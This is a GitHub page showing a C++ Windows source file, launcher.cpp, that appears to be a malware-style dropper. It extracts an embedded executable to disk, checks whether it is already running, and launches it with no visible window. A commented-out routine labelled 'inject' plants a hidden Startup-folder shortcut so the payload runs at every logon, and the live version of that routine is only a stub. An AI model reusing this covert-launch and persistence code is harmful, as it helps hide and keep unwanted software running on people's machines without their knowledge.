-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathlauncher.cpp
More file actions
174 lines (143 loc) · 3.87 KB
/
launcher.cpp
File metadata and controls
174 lines (143 loc) · 3.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#include <windows.h>
#include <fstream>
#include <cstdlib>
#include <tuple>
#include <iostream>
#include <tlhelp32.h>
#include <shlobj.h>
#include <Objbase.h>
#include "resourceloader.h"
#include "launcher.h"
using namespace std;
static wchar_t* stringToWString(string str) {
int length = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, NULL, 0);
wchar_t* w_string = new wchar_t[length];
MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, w_string, length);
return w_string;
}
bool Launcher::checkPrivileges() {
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
fRet = Elevation.TokenIsElevated;
}
}
if (hToken) {
CloseHandle(hToken);
}
return fRet;
}
bool Launcher::checkExtracted() {
ifstream file(EXTRACT_LOCATION);
return file.good();
}
void Launcher::extract() {
cout << "extracting" << endl;
ofstream file(EXTRACT_LOCATION, ios::binary);
tuple<char*, size_t> exe = resource::loadExe();
file.write(get<0>(exe), get<1>(exe));
file.close();
cout << "extracted" << endl;
}
bool Launcher::checkRunning() {
bool result = false;
wchar_t* exe_name = stringToWString(NAME + ".exe");
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
wstring proccess_name = pe32.szExeFile;
if (exe_name == proccess_name) {
result = true;
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
return result;
}
void Launcher::launch() {
cout << "launching" << endl;
wchar_t* exe_path = stringToWString(EXTRACT_LOCATION);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL,
exe_path,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
cout << "launched" << endl;
}
//bool Launcher::checkInjected() {
// TCHAR startup_path[MAX_PATH];
// if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_STARTUP, NULL, 0, startup_path))) {
// wstring shortcut_path = startup_path;
// shortcut_path += stringToWString("//" + NAME + ".lnk");
//
// ifstream file(shortcut_path);
// return file.good();
// }
//
// return false;
//}
//
//void Launcher::inject() {
// cout << "injecting" << endl;
//
// TCHAR startup_path[MAX_PATH];
// if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_STARTUP, NULL, 0, startup_path))) {
// wstring shortcut_path = startup_path;
// shortcut_path += stringToWString("//" + NAME + ".lnk");
//
// wchar_t* exe_path = stringToWString(EXTRACT_LOCATION);
//
// CoInitialize(NULL);
// IShellLink* pShellLink = NULL;
// CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&pShellLink);
// pShellLink->SetPath(exe_path);
// pShellLink->SetShowCmd(SW_HIDE);
// IPersistFile* pPersistFile = NULL;
// pShellLink->QueryInterface(IID_IPersistFile, (LPVOID*)&pPersistFile);
// pPersistFile->Save(shortcut_path.c_str(), TRUE);
// pPersistFile->Release();
// pShellLink->Release();
// CoUninitialize();
// }
//
// cout << "injected" << endl;
//}
bool Launcher::checkInjected() {
return true; // implement
}
void Launcher::inject() {
cout << "injecting" << endl;
// implement
cout << "injected" << endl;
}
void Launcher::main() {
if (!checkExtracted()) extract();
if (!checkRunning()) {
launch();
if (!checkInjected()) inject();
}
else {
cout << "already running" << endl;
}
}